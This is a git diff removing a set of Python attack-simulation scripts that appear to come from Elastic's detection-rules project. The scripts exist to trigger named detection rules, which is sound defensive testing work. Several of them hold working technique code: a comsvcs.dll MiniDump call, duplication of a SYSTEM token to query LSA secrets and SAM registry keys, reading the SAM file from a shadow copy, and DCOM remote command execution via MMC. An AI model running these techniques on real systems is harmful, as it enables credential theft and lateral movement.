-1,56 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Memory Dump via Comsvcs -# RTA: comsvcs_dump.py -# ATT&CK: T1117 -# Description: Invokes comsvcs.dll with rundll32.exe to mimic creating a process MiniDump. - -import os -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="413cf7ef-0fad-46fd-ab67-e94c4e3e0f0b", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "c5c9f591-d111-4cf8-baec-c26a39bc31ef", - "rule_name": "Potential Credential Access via Renamed COM+ Services DLL", - }, - {"rule_id": "208dbe77-01ed-4954-8d44-1e5751cb20de", "rule_name": "LSASS Memory Dump Handle Access"}, - { - "rule_id": "00140285-b827-4aee-aa09-8113f58a08f3", - "rule_name": "Potential Credential Access via Windows Utilities", - }, - ], - techniques=["T1003"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Memory Dump via Comsvcs") - pid = os.getpid() - common.execute( - [ - "powershell.exe", - "-c", - "rundll32.exe", - "C:\\Windows\\System32\\comsvcs.dll", - "MiniDump", - "{} dump.bin full".format(pid), - ] - ) - time.sleep(1) - common.remove_file("dump.bin") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/crashdump_disabled.py b/rta/crashdump_disabled.py deleted file mode 100644 index 409d28db0..000000000 --- a/rta/crashdump_disabled.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="775ffaa8-7a44-490b-b13d-1bfa2100b1ae", - platforms=["windows"], - endpoint=[ - {"rule_name": "CrashDump Disabled via Registry Modification", "rule_id": "77ca3fcc-f607-45e0-837e-e4173e4ffc2a"} - ], - siem=[], - techniques=["T1112"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Temporarily disabling CrashDump...") - - key = "System\\CurrentControlSet\\Control\\CrashControl" - value = "CrashDumpEnabled" - data = "0" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/credaccess_reg_query_privesc_token_manip.py b/rta/credaccess_reg_query_privesc_token_manip.py deleted file mode 100644 index 2764211b7..000000000 --- a/rta/credaccess_reg_query_privesc_token_manip.py +++ /dev/null @@ -1,133 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - - -metadata = RtaMetadata( - uuid="59329aa6-852a-44d0-9b24-322fe4fbdad0", - platforms=["windows"], - endpoint=[ - {'rule_id': 'c5ee8453-bc89-42e7-a414-1ba4bec85119', 'rule_name': 'Suspicious Access to LSA Secrets Registry'}, - {'rule_id': 'b6e8c090-f0ec-4c4c-af00-55ac2a9f9b41', 'rule_name': 'Security Account Manager (SAM) Registry Access'}, - {'rule_id': '2afd9e7f-99e0-4a4d-a6e3-9e9db730f63b', 'rule_name': 'Privilege Escalation via EXTENDED STARTUPINFO'}, - {'rule_id': '46de65b8-b873-4ae7-988d-12dcdc6fa605', 'rule_name': 'Potential Privilege Escalation via Token Impersonation'}, - ], - siem=[], - techniques=["T1134", "T1003"], -) - -@common.requires_os(*metadata.platforms) -def main(): - import ctypes - from ctypes import byref, windll, wintypes - - hprocess = wintypes.HANDLE() - hsystem_token = wintypes.HANDLE() - hsystem_token_dup = wintypes.HANDLE() - - PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 - TOKEN_IMPERSONATE = 0x00000004 - TOKEN_DUPLICATE = 0x00000002 - SecurityImpersonation = 0x2 - TokenPrimary = 0x1 - LOGON_WITH_PROFILE = 0x1 - TOKEN_ALL_ACCESS = 0xf01ff - LPBYTE = ctypes.POINTER(wintypes.BYTE) - - class PROCESS_INFORMATION(ctypes.Structure): - _pack_ = 1 - _fields_ = [ - ('hProcess', wintypes.HANDLE), - ('hThread', wintypes.HANDLE), - ('dwProcessId', wintypes.DWORD), - ('dwThreadId', wintypes.DWORD), - ] - - class STARTUPINFO(ctypes.Structure): - __slots__ = () - _fields_ = (('cb', wintypes.DWORD), - ('lpReserved', wintypes.LPWSTR), - ('lpDesktop', wintypes.LPWSTR), - ('lpTitle', wintypes.LPWSTR), - ('dwX', wintypes.DWORD), - ('dwY', wintypes.DWORD), - ('dwXSize', wintypes.DWORD), - ('dwYSize', wintypes.DWORD), - ('dwXCountChars', wintypes.DWORD), - ('dwYCountChars', wintypes.DWORD), - ('dwFillAttribute', wintypes.DWORD), - ('dwFlags', wintypes.DWORD), - ('wShowWindow', wintypes.WORD), - ('cbReserved2', wintypes.WORD), - ('lpReserved2', LPBYTE), - ('hStdInput', wintypes.HANDLE), - ('hStdOutput', wintypes.HANDLE), - ('hStdError', wintypes.HANDLE)) - - OpenProcess = windll.kernel32.OpenProcess - OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD] - OpenProcess.restype = wintypes.HANDLE - - OpenProcessToken = windll.kernel32.OpenProcessToken - OpenProcessToken.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPCVOID] - OpenProcessToken.restype = wintypes.BOOL - - DuplicateTokenEx = windll.advapi32.DuplicateTokenEx - DuplicateTokenEx.restype = wintypes.BOOL - DuplicateTokenEx.argtypes = [ - wintypes.HANDLE, # TokenHandle - wintypes.DWORD, # dwDesiredAccess - wintypes.LPCVOID, # lpTokenAttributes - wintypes.DWORD, # ImpersonationLevel - wintypes.DWORD, # TokenType - wintypes.HANDLE, # phNewToken - ] - - CreateProcessWithTokenW = windll.advapi32.CreateProcessWithTokenW - CreateProcessWithTokenW.argtypes = [ - wintypes.HANDLE, # hToken - wintypes.DWORD, # dwLogonFlags - wintypes.LPCWSTR, # lpApplicationName - wintypes.LPCVOID, # lpCommandLine - wintypes.DWORD, # dwCreationFlags - wintypes.LPCVOID, # lpEnvironment - wintypes.LPCVOID, # lpCurrentDirectory - wintypes.LPCVOID, # lpStartupInfo - wintypes.LPCVOID, # lpProcessInformation - ] - CreateProcessWithTokenW.restype = wintypes.BOOL - - CloseHandle = windll.kernel32.CloseHandle - CloseHandle.argtypes = [wintypes.HANDLE] - CloseHandle.restype = wintypes.BOOL - - # Duplicate winlogon.exe System Token - hprocess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, common.getppid("winlogon.exe")) - OpenProcessToken(hprocess, TOKEN_DUPLICATE | TOKEN_IMPERSONATE, byref(hsystem_token)) - DuplicateTokenEx(hsystem_token, TOKEN_ALL_ACCESS, 0, SecurityImpersonation, TokenPrimary, byref(hsystem_token_dup)) - - # create process with winlogon system token duplicate to query specific sensitive registry keys using reg.exe - process_info = PROCESS_INFORMATION() - startup_info = STARTUPINFO() - cmdline = u" /c reg.exe query hklm\\security\\policy\\secrets && reg.exe query hklm\\SAM\\SAM\\Domains\\Account && reg.exe query hklm\\SYSTEM\\ControlSet001\\Control\\Lsa\\JD && reg.exe query hklm\\SYSTEM\\ControlSet001\\Control\\Lsa\\Skew1" - res = CreateProcessWithTokenW(hsystem_token_dup, LOGON_WITH_PROFILE, u"C:\\Windows\\System32\\cmd.exe", cmdline, 0, 0, 0, byref(startup_info), byref (process_info)) - - # check process creation result - if res == 1 : - common.log("Executed RTA") - else : - common.log("Failed to execute RTA") - - # Close all the handles - common.log("Closed all Handles") - CloseHandle(hsystem_token_dup) - CloseHandle(hsystem_token) - CloseHandle(hprocess) - -if __name__ == "__main__": - exit(main()) diff --git a/rta/credaccess_sam_from_vss.py b/rta/credaccess_sam_from_vss.py deleted file mode 100644 index e4f277656..000000000 --- a/rta/credaccess_sam_from_vss.py +++ /dev/null @@ -1,60 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - - -metadata = RtaMetadata( - uuid="b78f0255-3b97-4e39-8857-ec74d09e36ba", - platforms=["windows"], - siem=[], - endpoint=[{'rule_id': 'dc27190a-688b-4f9b-88f0-1f13deccd67f', 'rule_name': 'Security Account Manager (SAM) File Access'}], - techniques=['T1003', 'T1003.002'], -) - -def get_vss_list(): - import win32com.client - wcd = win32com.client.Dispatch("WbemScripting.SWbemLocator") - wmi = wcd.ConnectServer(".","root\cimv2") - obj = wmi.ExecQuery("SELECT * FROM Win32_ShadowCopy") - return [o.DeviceObject for o in obj] - -def vss_create(): - import win32com.client - wmi=win32com.client.GetObject("winmgmts:\\\\.\\root\\cimv2:Win32_ShadowCopy") - createmethod = wmi.Methods_("Create") - createparams = createmethod.InParameters - createparams.Properties_[1].value="c:\\" - results = wmi.ExecMethod_("Create", createparams) - return results.Properties_[1].value - -@common.requires_os(*metadata.platforms) -def main(): - import win32file - vss_list = get_vss_list() - if len(vss_list) > 0 : - sam_path = f"{vss_list[0]}\\Windows\\System32\\config\\SAM" - print(f'[+] - Attempting to Open {sam_path}') - hf = win32file.CreateFile(sam_path, win32file.GENERIC_READ, 0, None, 3, 0, None) - if (hf): - print(f'[+] - RTA Done!') - win32file.CloseHandle(hf) - else : - print(f'[x] - RTA Failed :(') - - else : - vss_list = vss_create() - sam_path = f"{vss_list[0]}\\Windows\\System32\\config\\SAM" - hf = win32file.CreateFile(sam_path, win32file.GENERIC_READ, 0, None, 3, 0, None) - if (hf): - print(f'[+] - RTA Done!') - win32file.CloseHandle(hf) - else : - print(f'[x] - RTA Failed :(') - -if __name__ == "__main__": - exit(main()) diff --git a/rta/credential_access_dump_hashes_via_cmd.py b/rta/credential_access_dump_hashes_via_cmd.py deleted file mode 100644 index 47be1e5ac..000000000 --- a/rta/credential_access_dump_hashes_via_cmd.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="0a6fcfaa-db5e-498f-9253-0f76b8a18687", - platforms=["macos"], - endpoint=[ - {"rule_name": "Dumping Account Hashes via Built-In Commands", "rule_id": "2ed766db-e0b0-4a07-8ec1-4e41dd406b64"} - ], - siem=[ - {"rule_name": "Dumping Account Hashes via Built-In Commands", "rule_id": "02ea4563-ec10-4974-b7de-12e65aa4f9b3"} - ], - techniques=["T1003"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing defaults commands to dump hashes.") - common.execute(["defaults", "ShadowHashData", "-dump"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/credential_access_known_utilities.py b/rta/credential_access_known_utilities.py deleted file mode 100644 index 3b466ffcb..000000000 --- a/rta/credential_access_known_utilities.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="374718be-d841-4381-a75f-ef54f0d5eb18", - platforms=["windows"], - endpoint=[ - {"rule_name": "Credential Access via Known Utilities", "rule_id": "3c44fc50-2672-48b3-af77-ff43b895ac70"} - ], - siem=[], - techniques=["T1003"], -) - -EXE_FILE = common.get_path("bin", "renamed.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - binary = "ProcessDump.exe" - common.copy_file(EXE_FILE, binary) - - # Execute command - common.execute([binary], timeout=5, kill=True) - - common.remove_files(binary) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/credential_access_osascript_phishing.py b/rta/credential_access_osascript_phishing.py deleted file mode 100644 index a4fac6674..000000000 --- a/rta/credential_access_osascript_phishing.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="cc7b01f9-852c-4232-8c70-ada3fb5cc515", - platforms=["macos"], - endpoint=[ - {"rule_name": "Potential Credentials Phishing via OSASCRIPT", "rule_id": "318d3d9d-ba60-40e3-bc8c-3d3304209a3c"} - ], - siem=[{"rule_name": "Prompt for Credentials with OSASCRIPT", "rule_id": "38948d29-3d5d-42e3-8aec-be832aaaf8eb"}], - techniques=["T1056"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/osascript" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake osascript commands to display passwords") - common.execute([masquerade, "osascript*display dialog*password*"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/credential_dumping.py b/rta/credential_dumping.py deleted file mode 100644 index 01217e694..000000000 --- a/rta/credential_dumping.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="43ce7648-d48a-4609-80a5-f68384e498d3", - platforms=["linux"], - endpoint=[ - { - "rule_id": "05f95917-6942-4aab-a904-37c6db906503", - "rule_name": "Potential Linux Credential Dumping via Unshadow", - }, - ], - siem=[], - techniques=["T1003"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/unshadow" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Executing Fake commands to test Credential Dumping via Unshadow") - common.execute([masquerade, "shadow password"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/credential_dumping_via_proc.py b/rta/credential_dumping_via_proc.py deleted file mode 100644 index 800e3c30f..000000000 --- a/rta/credential_dumping_via_proc.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="e5a98cc9-1f15-4d14-baf2-96bebb932ae9", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Linux Credential Dumping via Proc Filesystem", - "rule_id": "508226f9-4030-4e86-86cd-63321b7164bc", - }, - ], - siem=[ - { - "rule_name": "Potential Linux Credential Dumping via Proc Filesystem", - "rule_id": "ef100a2e-ecd4-4f72-9d1e-2f779ff3c311", - }, - ], - techniques=["T1212", "T1003", "T1003.007"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/ps" - masquerade2 = "/tmp/strings" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.copy_file(source, masquerade2) - - # Execute command - common.log("Launching fake commands to dump credential via proc") - common.execute([masquerade, "-eo", "pid", "command"], timeout=5, kill=True) - common.execute([masquerade2, "/tmp/test"], timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/credman_discovery.py b/rta/credman_discovery.py deleted file mode 100644 index e49ba1ea8..000000000 --- a/rta/credman_discovery.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata -import os - - -metadata = RtaMetadata( - uuid="d12e0abb-017f-4321-adf2-20843f62b55d", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Potential Discovery of Windows Credential Manager Store", - "rule_id": "cc60be0e-2c6c-4dc9-9902-e97103ff8df9", - } - ], - siem=[], - techniques=["T1555"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - appdata = os.getenv("LOCALAPPDATA") - credmanfile = f"{appdata}\\Microsoft\\Credentials\\a.txt" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - - common.execute([powershell, "/c", "echo AAAAAAAAAA >", credmanfile], timeout=10) - common.log("Cat the contents of a sample file in credman folder") - common.execute([powershell, "/c", "cat", credmanfile], timeout=10) - common.remove_file(credmanfile) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/cron_tab_file_create.py b/rta/cron_tab_file_create.py deleted file mode 100644 index 0c984e927..000000000 --- a/rta/cron_tab_file_create.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e85f7e39-da36-4ed4-be00-c5b29f4d763c", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Cron Tab Creation or Modification by an Unusual Process", - "rule_id": "e5fc1285-d312-4b45-9e6b-e6c037276c17", - } - ], - siem=[], - techniques=["T1053", "T1053.003"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing file creation on /private/var/at/tabs/test.") - common.temporary_file_helper("testing", file_name="/private/var/at/tabs/test") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/cscript_suspicious_args.py b/rta/cscript_suspicious_args.py deleted file mode 100644 index 376d843a2..000000000 --- a/rta/cscript_suspicious_args.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="5a2a5c20-73f6-4a08-a767-95d242b52708", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Windows Script Process Execution", "rule_id": "ffbab5db-73ae-42fd-a33f-36bf649f41cc"}, - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - ], - siem=[], - techniques=["T1218", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - cscript = "C:\\Users\\Public\\cscript.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(EXE_FILE, cscript) - common.copy_file(RENAMER, rcedit) - - # Execute command - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, cscript, "--set-version-string", "OriginalFilename", "cscript.exe"]) - - cmd = "echo {16d51579-a30b-4c8b-a276-0ff4dc41e755}; iwr google.com -UseBasicParsing" - common.log("Simulating a suspicious command line and making a web request") - common.execute([cscript, "-c", cmd], timeout=10) - - common.remove_files(cscript, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/curl_data_exfil.py b/rta/curl_data_exfil.py deleted file mode 100644 index 6f59d33ad..000000000 --- a/rta/curl_data_exfil.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="aec658cc-a5df-42e8-8e09-810b484b9ef2", - platforms=["macos"], - endpoint=[ - { - "rule_name": "MacOS Potential Data Exfiltration via Curl", - "rule_id": "192ec591-1d00-4c16-a717-8a7481038d23", - } - ], - siem=[], - techniques=["T1048"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/curl" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake curl commands to simulate data exfil") - common.execute([masquerade, "-F", "*@*.zip", "http*"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/curl_payload_download.py b/rta/curl_payload_download.py deleted file mode 100644 index 3b75a41b9..000000000 --- a/rta/curl_payload_download.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="bf7645b2-d0cf-428d-a158-b1479160e60c", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Payload Downloaded by Process Running in Suspicious Directory", - "rule_id": "04d124d4-2be7-405e-b830-9494f927a51e", - } - ], - siem=[], - techniques=["T1105"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/testfile" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake curl commands to download payload") - common.execute([masquerade, "childprocess", "curl", "portquiz.net"], timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/curl_sus_payload.py b/rta/curl_sus_payload.py deleted file mode 100644 index 55e93672b..000000000 --- a/rta/curl_sus_payload.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="bf7645b2-d0cf-428d-a158-b1479160e60c", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Payload Downloaded by Process Running in Suspicious Directory", - "rule_id": "8c42c8bd-c282-44ca-b308-92e4267b6244", - } - ], - siem=[], - techniques=["T1105"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/curl" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake curl commands to download payload") - common.execute([masquerade, "childprocess", "curl", "-k", "http://portquiz.net/"], timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/cve_2019_14287.py b/rta/cve_2019_14287.py deleted file mode 100644 index bbd36bb0e..000000000 --- a/rta/cve_2019_14287.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="df91f5f2-a0a0-47e8-848b-d01526a43d60", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Sudo Privilege Escalation via CVE-2019-14287", - "rule_id": "b382c343-892d-46e1-8fad-22576a086598", - }, - ], - siem=[ - { - "rule_name": "Potential Sudo Privilege Escalation via CVE-2019-14287", - "rule_id": "8af5b42f-8d74-48c8-a8d0-6d14b4197288", - }, - ], - techniques=["T1068"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/sudo" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Launching fake sudo command to simulate CVE-2019-14287") - common.execute([masquerade, "-u#-1"], timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/cve_2023_0386.py b/rta/cve_2023_0386.py deleted file mode 100644 index c0a9eca79..000000000 --- a/rta/cve_2023_0386.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="432b8bb0-03e2-4618-bda9-77c0cef7eef8", - platforms=["linux"], - endpoint=[ - { - "rule_id": "22145fc0-dc4c-4187-8397-4d20162fc391", - "rule_name": "CVE-2023-0386 Exploitation Attempt", - }, - ], - siem=[], - techniques=["T1068"], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - masquerade = "/tmp/fuse" - masquerade2 = "/tmp/fusermount" - # Using the Linux binary that simulates parent-> child process in Linux - source = common.get_path("bin", "linux_ditto_and_spawn_parent_child") - common.copy_file(source, masquerade) - common.copy_file(source, masquerade2) - - # Execute command - common.log("Executing Fake Commands to simulate CVE-2023-0386 Exploitation Attempt") - command = f"{masquerade2} -o rw,nosuid,nodev ./* " - common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) # noqa: S604 - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/darkradiation.py b/rta/darkradiation.py deleted file mode 100644 index bdac27049..000000000 --- a/rta/darkradiation.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="4843eb25-3579-473a-b309-76d02eda3085", - platforms=["macos", "linux"], - endpoint=[{"rule_name": "DARKRADIATION Ransomware Infection", "rule_id": "33309858-3154-47a6-b601-eda2de62557b"}], - siem=[], - techniques=["T1486"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/xargs" - if common.CURRENT_OS == "linux": - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - else: - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake xargs command to execute DARKRADIATION infection") - common.execute([masquerade, "openssl", "enc", "test.☢test"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/dcom_lateral_movement_with_mmc.py b/rta/dcom_lateral_movement_with_mmc.py deleted file mode 100644 index 910659e60..000000000 --- a/rta/dcom_lateral_movement_with_mmc.py +++ /dev/null @@ -1,53 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: DCOM Lateral Movement with MMC -# RTA: dcom_lateral_movement_with_mmc.py -# ATT&CK: T1175 -# Description: Execute a command to simulate lateral movement using Distributed Component Object Model (DCOM) with MMC - -import sys - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7f4cfcf6-881b-48b0-864d-21eba06e57cc", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "51ce96fb-9e52-4dad-b0ba-99b54440fc9a", "rule_name": "Incoming DCOM Lateral Movement with MMC"}], - techniques=["T1021"], -) - - -@common.requires_os(*metadata.platforms) -def main(remote_host=None): - remote_host = remote_host or common.get_ip() - common.log("DCOM Lateral Movement with MMC") - - common.log("Attempting to move laterally to {}".format(remote_host)) - remote_host = common.get_ipv4_address(remote_host) - common.log("Using IP address {}".format(remote_host)) - - # Prepare PowerShell command for DCOM lateral movement - - ps_command = """ - $dcom=[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','{remote_host}')); - $dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\cmd.exe',$null,'whoami','7'); - $dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\calc.exe',$null,$null,'7'); - $dcom.quit(); - """.format( - remote_host=remote_host - ) - - command = ["powershell", "-c", ps_command] - - # Execute command - common.execute(command, timeout=15, kill=True) - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) diff --git a/rta/ddns_lolbas.py b/rta/ddns_lolbas.py deleted file mode 100644 index ec37fcaa0..000000000 --- a/rta/ddns_lolbas.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="95d34e55-789d-40bf-9988-dbb803c2d066", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Connection to Dynamic DNS Provider by a Signed Binary Proxy", - "rule_id": "fb6939a2-1b54-428c-92a2-3a831585af2a", - } - ], - siem=[], - techniques=["T1218", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.log("Using PowerShell to connect to a DDNS provider website") - common.execute( - [powershell, "/c", "iwr", "https://www.noip.com", "-UseBasicParsing"], - timeout=10, - ) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/ddns_unsigned.py b/rta/ddns_unsigned.py deleted file mode 100644 index 39cc9e387..000000000 --- a/rta/ddns_unsigned.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not 